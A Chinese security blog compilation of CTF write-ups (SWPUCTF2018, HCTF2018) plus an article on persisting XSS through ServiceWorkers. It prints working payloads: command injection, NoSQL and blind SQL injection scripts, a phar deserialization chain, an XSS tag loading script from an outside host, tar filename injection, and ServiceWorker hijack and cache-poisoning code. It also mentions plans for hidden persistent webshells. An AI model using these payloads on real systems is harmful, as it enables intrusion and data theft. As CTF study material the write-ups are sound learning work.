.*会把?后的所有字符都先匹配到,发现没有[]里面的这些字符后再进行回溯。但是PHP为了防止回溯次数过多,发生拒绝服务,会有一个回溯限制

引用kk师傅的一张图:

5.2以后的版本回溯次数是1000000,超过这个次数还没有匹配到,则会返回false

POC

既然是弱类型比较,我们就用false来等价null绕过

<?php
$f = fopen("poc.txt", "w");
$msg = "<?php print_r(scandir('../'));?>".str_repeat("A",1000000);
fwrite($f,$msg);
fclose($f);

构造个上传表单完事

这也提醒我们,正确使用preg_match的重要性,用强类型等于避免很多不安全因素

phpmagic

这个题真的发现很多知识碎片

php://filter

首先聊聊filter的妙用。以前见到的情况和套路都是include()、file_get_contents()的参数可控,我们用php://filter/read配合base64-encode可以把文件编码成base64后输出。没想到file_put_contents文件名可控时也有magic

当我们可控的文件名$file传入参数php://filter/write=convert.base64-decode/resource=shell.php,$text传入this is test时,file_put_contents($file,$text)执行的内容如下:

可以把写入的文本进行base64编码,而且可以指定写入的文件名shell.php。其实这个用处还挺多的,比如将可控文本Base64编码,用伪协议写入文件的时候再decode,就能绕过后端正则对可控文本php危险语句检测的过滤

审计

关键代码

$output会被转义后输入到可控文本,用上面的思路在写入文本的时候base64-decode就能绕过,注意用Host拼接$log_name。

至于绕过后缀名,这两天做工程实践的时候恰好用到了p师傅关于apache的x0a后缀解析为php的文件上传绕过,具体思路:https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715

poc如下

php limit

这道题依然简单粗暴,代码如下

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

刚开始不清楚正则里(?R)的用法,看了别人的WP才知道这是PCRE的正则递归。在这道题里,就是按照递归的方式一直匹配/[^\W]+\((?R)?\)/,看下面这个例子

在匹配完b()之后,由于匹配不到[^\W],正则就停止了。所以这里的代码执行点就是:嵌套函数且最后一个函数不能用参数值

有的师傅们用了get_defined_vars()获取http请求头。其实这个之前在打awd时上流量监控部分用到过,appache可以用getallheaders()来获取http头,但是nginx没有这个函数,可以用了get_defined_vars(),通过current()、next()进而选择可控参数,poc如下

Nodejs魔法

Koa框架写的登陆页面,入库的语句都写出来了

看到这一步很关键,因为忘了看flag在哪个表里,后面浪费了很多时间

继续看到登陆的逻辑

传入的username&&password非空,并且经过safe函数过滤后带入查询,如果有结果则设定session为查询结果

##分析
一开始绕safe就饶了好久,尝试了各种注释。最后l0cal师傅提醒,在js里toUpperCase()是可以用拉丁文的unicode绕过的,例如"ſ".toUpperCase()<=>"S""ı".toUpperCase()<=>"I"

那么select 和 union 都可以绕过

一开始想多了,一直在盲注,根据时候有session判断查询的真假,结果好多东西都绕不过去,而且没看代码还在傻乎乎的测表名,十分愚蠢

有好多语句都会500,估计是云服务做了限制。。到最后发现把用户名和密码置空,后面用union查询flag,那设置的session不就是flag么。。

真的是太菜了

SWPUCTF2018 Write up

恰逢复习期,也没什么事,打一场SWPUCTF来放松一下,感谢西油出题师傅。最后狗了个第十二名,顺便吐槽一下队友起的什么智障名字。。

SWPUCTF2018

MISC

PCAP

签到题,流量包拖wireshark追TCP包

床前明月光,低头…

低头看键盘

99 9 9 88 11 5 5 66 3 88 3 6 555 9 11 4 33

键盘密码 99就代表9那列的第二个值

look ….. 依次读就行了

WEB

用优惠码买个X

拿到题目扫目录 www.zip
源码如下

$_SESSION['seed']=rand(0,999999999);
function youhuima(){
    mt_srand($_SESSION['seed']);
    $str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $auth='';
    $len=15;
    for ( $i = 0; $i < $len; $i++ ){
        if($i<=($len/2))
              $auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
        else
              $auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
    }
    setcookie('Auth', $auth);
}
//support
    if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
        if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
               //执行命令
        }else {
              //flag字段和某些字符被过滤!
        }
    }else{
             // 你的输入不正确!
    }
?>

根据提示应该分两部分 绕过优惠码->命令执行逃过

首先说破解优惠码,登陆时session产生0-99999999随机数为种子,通过mt_srand()种下随机数种子,mt_rand()来获取这个随机数。

这里mt_srand伪随机,具体机制可以看这篇文章:http://wonderkun.cc/index.html/?p=585%EF%BC%8C%E9%9A%8F%E6%9C%BA%E6%95%B0%E4%B9%8B%E5%89%8D%E4%B9%9F%E6%98%AFctf%E7%9A%84%E5%B8%B8%E8%A7%81%E5%A7%BF%E5%8A%BF

种子不变,生成的随机数就不变

所以通过前15位随机数,破解种子,根据种子再生成24位的随机数,也就是我们的优惠码

脚本跑随机数在字符串的位置:

<?php
$str = "lP9DUJjQ";
$randStr = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";

for($i=0;$i<strlen($str);$i++){
   $pos = strpos($randStr,$str[$i]);
   echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
   //整理成方便 php_mt_seed 测试的格式
  //php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
}
echo "\n";
?>

这个的坑点,必须跑前八位优惠码,因为算法里后起位和前八位生成顺序不一样

用工具php_mt_seed跑一下

本地php7环境跑这个种子的24位就能得到优惠码了

优惠码成功跳转到命令执行whois查询,匹配ip时用了/m 且^ $必须匹配头尾,%0a换行绕过检测,0a后面写规范ip

过滤了查询flag的语句,用”” 或者\绕过都行

完整payload:

ca\t /f\lag%0a127.0.0.1

Injection ???

扫目录用个info.php

是个phpinfo然后拓展显示mongo的数据库,搭配题目叫注入,那应该是一个nosql注入了

思路很简单,用通配符猜解admin的密码

username=admin&password[$regex]=^**

只不过要写个脚本跑验证码,这里队友写了一个提供参考

import requests
import time
import pytesseract
from PIL import Image
import os
from urllib.request import urlretrieve

j=0
passw0rd = ["s","k","m","u","n"]
payload="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890_!@#$%"
url = "http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^skmun{}&vertify={}"
img_url = 'http://123.206.213.66:45678/vertify.php'

for i in range(1,20):
    while j<len(payload):
        s = requests.session()
        payloads = payload[j]
        with open(r'C:\Users\asus\Desktop\image\img1.png','wb') as fd:
            img_1 = s.get(url=img_url)
            fd.write(img_1.content)
        image = Image.open(r'C:\Users\asus\Desktop\image\img1.png')
        vcode = pytesseract.image_to_string(image)
        url_1 = url.format(str(payloads),vcode)
        r = s.get(url_1,cookies=img_1.cookies)
        print(r.text)
        if "wrong CAPTCHA!" in r.text:
            continue
        if "username or password incorrect!" in r.text:
            print(payloads)
            j = j+1
            break
        if "Nice!But it is not the real passwd" in r.text:
            passw0rd.append(payloads)
            print("passw0rd is :" + str(passw0rd))
            j = j+1
            break

SimplePHP

题目地址:

file有个代码高亮的功能,把这些页面的额源码都Down一下

先看一下test类的__get()方法

__get()方法用于输出一个不可访问变量的值,不可访问不仅仅是protected和private,还有不存在的变量也属于不可访问,这点很重要。$key的值就是不可访问的参数名,这里是”source”,如果输入”xx”,echo的就是xx。

开发角度来讲,私有属性一般都会调用__get()方法用以提供外界访问。继续看下面的代码

    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];      
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);  
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }

通过调用get()方法获取params数组里的值,进而获取这个值所对应的文件内容,这为获取flag文件内容做了铺垫。

所以只需要想办法使$this->params[$key] = ‘/var/www/html/f1ag.php’

瓶颈

一开始我是这样构造的攻击链:

之前分析过phar,它在反序列化的时候不会执行构造函数即construct,所以置空参数,让test类的get方法返回文件内容,再通过c1e4r类的echo输出到页面上

但是这里有一个问题,phar序列化的时候, 不会把类的方法反序列化,所以只能控类的成员。那么就开始下面的方法:

正确的思路

$a = new Test();
$a->params = [
    'source' => '/var/www/html/f1ag.php'
];

$b = new Show();
$b->str['str'] = $a;

$c = new C1e4r();
$c->str = $b;

思路就是:
我们用test类来获取f1ag.php里的内容,返回给$content(Show类),$content的值再返回给C1e4r类的echo输出

C1e4r调用echo,而echo可以执行toString方法,所以我们让echo的值为我们要控的toString方法对应的类即show类的对象

有趣的邮箱注册

网站功能很少:提交邮箱地址->管理审核邮箱

给了hint:

<!--check.php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, pleduase check your email";
}else{
echo "等待管理员自动审核";edit/5c1a5a3a38649f668227c9fd
echo $email;
}
}
?>
-->

之前有个红日审计项目,关于filter_var()匹配email的漏洞进行了剖析:https://xz.aliyun.com/t/2501

大致就是单引号双引号重叠,用\可以绕过空格,

然后我尝试了一下注入scirpt标签提交..尼玛直接成功了…

email="\ <sCRiPt\ sRC=https://unazizi.exeye.io/swctf></sCrIpT>\ "@aa.com

那它的意思应该是后台管理员会随时点击这个email,就触发了xss

因为打不到管理员的cookie,就打admin.php的页面源码了

发现后台会跳到:/admin/a0a.php?cmd=whoami

明显RCE,直接请求到这个url,发现出题人设置了本地,且匹配IP用的是 remote_addr,也就是说无法伪装IP

后台Bot一直会请求admin.php这个页面,xss 改变它请求的参数,让本地管理员帮我们执行这个命令

用XHR发送请求或者Location重定向都可以

反弹Shell后发现还有题目,后台有个上传页面和备份页面,其中backup.php可读内容如下

<?phpinclude("upload.php");
echo "上传目录:" . $upload_dir . "<br />";
$sys = "tar -czf z.tar.gz *";
chdir($upload_dir);
system($sys);
if(file_exists('z.tar.gz')){
        echo "上传目录下的所有文件备份成功!<br />";
        echo "备份文件名: z.tar.gz";
}else{
        echo "未上传文件,无法备份!";
}
?>

也就是说它会备份我们上传目录下的所有文件,即*

上传一些文件名例如| echo "123">123.php

System 就会执行拼接后的$sys

当时题目坏了,出题师傅跟我说直接再弹一个shell,就可以拿到flag权限。。

然后直接给我了flag…2333…

感受

这次比赛是西南石油师傅举办的公益性比赛..觉得他们确实挺不容易的,学院不支持+自掏腰包办比赛,但是赛题质量都还不错,可见师傅们的用心,给个好评!

HCTF2018线下赛感想

跑去丢了一趟人,实在是对不起各位师傅

反思

比赛期恰逢考试期,几天一共就睡了几个小时,无论从体力或是经验都输的一塌糊涂。

这次比赛也算是给自己个教训,准备不充分,就把之前备好的流量成功监控了,其余的东西几乎没用

比赛开始配置网络用了挺长时间的,导致登上ssh以后就已经被别人上马了。

其实这是很吃亏的事:第一,你无法及时备份原始的目录,这就有一个很严重的后果,如果后来一不小心恢复了留有马子的备份一切功亏一篑,更严重的是,如果你的一些服务被恶意删了,那开局就直接崩盘。

第二,在你杀别人后门的时候,别人可能就已经打了你一轮,甚至可能会种新的马。而且杀后门的时间又占用了补洞的时间..新一轮的马子又会上来…

所以上线一定要快,备份打的一定要快!

教训就是,一定要在本地补好洞了,再传到机器上,宁可被打,也要修好自己的服务,被打总比down掉了好。这次吃了很大的亏,全场被check。

所以,不要随便就删漏洞点,有时候漏洞点也是功能点。补洞不代表无脑卡权限,这次include的文件包含洞就可以换成file_get_contents来补。最重要的事,不要随便就把目录555了,如果Check点是上传和下载功能就凉了

关于防御,一定要给自己留一个可用的后门,www-data权限一定得有一个,否则php进程可能都杀不掉

这次比赛后要准备的东西

吃足了教训:手动上马是非常愚蠢的行为

内置后门批量上马

蓝莲花的moxiaoxi师傅的脚本思路大致是这样的:

内置后门(能执行system函数),通过散列生成随机名字的隐藏不死马+守护进程维护不死马+软连接来隐藏真实的请求

最近要完成这个脚本

心态

心态真的是很重要,不要因为被打就慌张,找到洞点,补好了再上服务,切忌慌里慌张。

这次就算是交学费了,自闭

RootkitXSS之ServiceWorker

RootkitXSS之ServiceWorker

文章首发于先知:https://xz.aliyun.com/t/3228#toc-10

在拿到一个可以XSS点的时候后,持久化成为一种问题。这几天跟师傅们接触到RootkiXss的一些姿势,受益匪浅

Serviceworker定义

Service workers(后文称SW) 本质上充当Web应用程序与浏览器之间的代理服务器,也可以在网络可用时作为浏览器和网络间的代理。它们旨在(除其他之外)使得能够创建有效的离线体验,拦截网络请求并基于网络是否可用以及更新的资源是否驻留在服务器上来采取适当的动作。他们还允许访问推送通知和后台同步API。

也就是说SW 提供了一组API,能够拦截当前站点产生HTTP请求,还能控制返回结果。因此,SW 拦住请求后,使用 Cache Storage 里的内容进行返回,就可以实现离线缓存的功能。当Cache Storage不存在请求的资源时再向服务器请求,cache.put可以选择性地将请求资源加载到cache storage中。如果不手动取消已经注册过的sw服务,刷新/重新打开页面都会启动站点的sw服务,这为我们持久化XSS提供了一定的条件。

查看SW服务

Chrome地址栏访问 chrome://serviceworker-internals/,就可以看见已有的后台服务。

注册serviceworker

注册点js代码

<script type="text/javascript">
    var url="//localhost/serviceworker.js";
    if ('serviceWorker' in navigator) {
 navigator.serviceWorker.register(url)
 .then(function(registration) {
 console.log('ServiceWorker registration successful with scope: ', registration.scope);
 })
};
</script>
normal visit

script标签下的type必须指明为text/javascript

event.request.clone()

对象的内容如图

攻击条件

一个可以XSS的点

sw文件可控

如果说sw可以放在同源下,也就是js文件可控的话。直接注册Sw,代码如下:

// 拦截特定的Url,如果请求是对应的Url,则返回攻击的response
self.addEventListener('fetch', function (event) {  
    var url = event.request.clone(); 
    body = '<script>alert("test")</script>';
    init = {headers: { 'Content-Type': 'text/html' }};
    if(url.url=='http://localhost/reurl.html'){
        res  = new Response(body,init);
        event.respondWith(res.clone());
    }
});

jsonp回调接口

利用储值型X点写入下面的代码

当JSONP接口存在缺陷时,比如没有校验回调名。导致返回内容可控
比如:url?callback=importScript(…)
返回importScript(...)
代码实现如下:

<?php
// JSONP 回调名缺少校验
$cb_name = $_GET['callback'];
$cb_data = time();

header('Content-Type: application/javascript');
echo("$cb_name($cb_data)");

attack_js

<script type="text/javascript">
    var url="//localhost/getdata?callback=importScripts('//third.com/sw.js?g')";
    if ('serviceWorker' in navigator) {
 navigator.serviceWorker.register(url)
 .then(function(registration) {
 console.log('ServiceWorker registration successful with scope: ', registration.scope);
 })
};
</script>

这里面callback回调的事件就相当于sw脚本。当js被执行之后会注册一个sw脚本,内容是回调的事件

或者鸡肋上传一个html到网站下

<html>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" /> 
<body>
<script type="text/javascript">
    var url="//localhost/getdata?callback=importScripts('//third.com/sw.js?g')";
    if ('serviceWorker' in navigator) {
 navigator.serviceWorker.register(url)
 .then(function(registration) {
 console.log('ServiceWorker registration successful with scope: ', registration.scope);
 })
};
</script>
it's nothing
</body>
</html>

局限

  • 存在有缺陷的 JSONP 接口
  • JSONP 的目录尽可能浅(最好在根目录下),如果放在域的根目录下,将会收到这个域下的所有fetch事件
  • JSONP 返回的 Content-Type 必须是 JS 类型
  • 存在 XSS 的页面

在网上看到一个师傅这样作例,引用一下:
service worker文件被放在这个域的根目录下,这意味着service worker和网站同源。换句话说,这个service work将会收到这个域下的所有fetch事件。如果我将service worker文件注册为/example/sw.js,那么,service worker只能收到/example/路径下的fetch事件(例如: /example/page1/, /example/page2/)

Cache缓存污染

前文的攻击不涉及cache里的资源,进行的是协商缓存,下面说一下强缓存的利用。

请求资源

如果使用cache.put方法,则请求的资源成功后会存在Cache Storage里。如果fetch里写了caches.match(event.request)方法,则每次请求时会先从caches找缓存来优先返回给请求页面。若没有缓存,再进行新的缓存操作。

下面是一个缓存读取/判断的demo

// 拦截特定的Url,如果请求是对应的Url,则返回攻击的response。否则用Fetch请求网络上原本的url,进行本地缓存(为了不影响正常功能))
self.addEventListener('fetch', function (event) {  
        event.respondWith(
            //console.log(event.request)
        caches.match(event.request).then(function(res){
        if(res){//如果有缓存则使用缓存
        return res;
        }
        return requestBackend(event);//没缓存就进行缓存
        })
        )
   });

function requestBackend(event){  
        var url = event.request.clone();  
        console.log(url)  //打印内容是打印到请求页面
        if(url.url=='http://localhost/reurl.html'){//判断是否为需要劫持的资源

        return new Response("<script>alert(1)</script>", {headers: { 'Content-Type': 'text/html' }})
        }
        return fetch(url).then(function(res){
        //检测是否为有效响应
        if(!res || res.status !== 200 || res.type !== 'basic'){
        return res;
        }
        var response = res.clone();
        caches.open('v1').then(function(cache){  //打开v1缓存进行存储
        cache.put(event.request, response);
        });

        return res;
        })
}

分析

前几天看ED师傅的研究,发现这种好玩但是鸡肋的方法。上面提到cache.put的方法把js资源添加到Cache Storage,其实如果我们用cache.put把恶意代码插入,覆盖原始的js数据。后果就是当sw请求cahce里的资源时会执行恶意代码。比如workbox会先从缓存读取静态资源,我们用异步请求将恶意代码无限覆盖这个缓存时:

控制台输入下面的恶意代码

async function replay() {
    const name = 'xx'
    const url = 'xx'
    const payload = `
alert(1);
`
    let cache = await caches.open(name);
    let req = new Request(url);
    let res = new Response(payload + replay + ';replay()');   //执行alert+写入cache内容+执行fn
    setInterval(_ => {
      cache.put(req, res.clone());
    }, 500);
}
replay();

就可以在cache Storage里看到500ms刷新并覆盖一次的js资源。

相关链接

Service Worker API(https://developer.mozilla.org/zh-CN/docs/Web/API/Service_Worker_API)

浏览器缓存知识(https://www.cnblogs.com/lyzg/p/5125934.html)

HCTF2018线上赛部分WriteUp

HCTF题解

admin

思路

提示只有admin才能查看

注册账号功能,发现注册大写和小写会提示重名注册。
也就是说 ADMIN<=>admin

有一篇文章将Unicode安全,提到的一个python函数canonical_username,这个函数会把类似的unicode字符做一个与chrome的地址栏里相似的转换,举个例子
BIG会被转换为big。ᴬᴬᴬ,经过函数处理
后变成了AAA

  1. 我们注册形似ADMIN的名字
  2. 后台函数处理把形似ADMIN转换为ADMIN
  3. 修改ADMIN的密码,相当于修改admin的密码
  4. 登陆admin获得flag

相当于一个越权

相关链接

Unicode安全:http://blog.lnyas.xyz/?p=1411
Unicode近似字合集:https://www.compart.com/en/unicode/category/Lm

kznoe

解析

拿到题目发现砝码泄露,down了一份www.zip开始审

一眼看到sql文件,打开看看执行了哪些语句,发现后台账号密码

INSERT INTO `fish_admin` (`id`, `username`, `password`, `name`, `qq`, `per`) VALUES
(1, 'admin', '21232f297a57a5a743894a0e4a801fc3', '小杰', '1503816935', 1);

登陆失败,被改了密码,开始审计

审计

整个钓鱼网站的大致结构:

根目录index.php跳转页

admin目录

admin目录下是钓鱼后台的管理,login逻辑判断登陆

include目录。

include下是配置文件,common入口文件包含了过滤和验证内容,其中:

  1. safe.php写了过滤规则,任何GET\POST\COOKIE请求的参数会经过filter
    function waf($string)
    {
     $blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i'; // and updatexml(1,concat(0x7e,database())
     return preg_replace_callback($blacklist, function ($match) {
         return '@' . $match[0] . '@';
     }, $string);
    }
    

function safe($string)
{
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = safe($val);
}
} else {
$string = waf($string);
}
return $string;
}

匹配到这些会在关键字前后添加@

2. member根据cookie判断是否已经登陆
3. founction封装了一些功能函数
4. db.class一些执行的sql语句

## 思路
### ip
刚开始审的时候看到了insert把ip入库,而且ip的获取是这样的:
![](https://i.loli.net/2018/11/13/5beac380388eb.jpg)
不用经过safe的过滤,但是下面的ip2long会把超限度的ip置空,因此ip注入行不通

### bypass
因为有全局过滤safe,所以一开始在想可不可以bypass掉,用hex绕过is_number的检测,使我们注入的语句不会经过filter。确实成功执行了我用hex传入的语句,但是mysql仅仅是把hex的值入库了,也无法进行二次利用。

### member.php
当时他们说可以用json形式的cookie注入,unicode编码绕过于是去看cookie逻辑登陆的地方

![](https://i.loli.net/2018/11/13/5beac35ebedb4.png)

cookie传入参数login_data解析查库,用了json_decode,那么就可以用unicode编码无视过滤
![](https://i.loli.net/2018/11/13/5beac38e39abe.png)

剩下的就是编写tamper脚本了,把payload替换成unicode。但是看到了微笑师傅的一个py脚本,不借助sqlmap,觉得写的很好,贴出来

-- coding: utf-8 --

import requests
import string

url = ‘http://kzone.2018.hctf.io/include/common.php'
str1 = string.ascii_letters+string.digits+’{}!@#$*&_,’

def check(payload):
cookie={
‘PHPSESSID’:’8ehnp28ccr4ueh3gnfc3uqtau1’,
‘islogin’:’1’,
‘login_data’:payload
}
try:
requests.get(url,cookies=cookie,timeout=3)
return 0
except:
return 1

result=’’
for i in range(1,33):
for j in str1:
payload = ‘{“admin_user”:”admin'//and//\u0069f(\u0061scii(\u0073ubstr((select//table_name//from//inf\u006Frmation_schema.tables//where//table_schema\u003ddatabase()//limit//0,1),%s,1))\u003d'%s',\u0073leep(4),1)//and//'1”}’% (str(i),ord(j))
payload = ‘{“admin_user”:”admin'/
/and//\u0069f(\u0061scii(\u0073ubstr((select//F1a9//from//F1444g),%s,1))\u003d%s,\u0073leep(4),1)//and//'1”,”admin_pass”:”123”}’% (str(i),ord(j))
#print(‘[+]’+payload)
if check(payload):
result += j
break
print(result)


只要是请求的页面包含common.php此脚本都能行得通,因为会引入member.php




not found!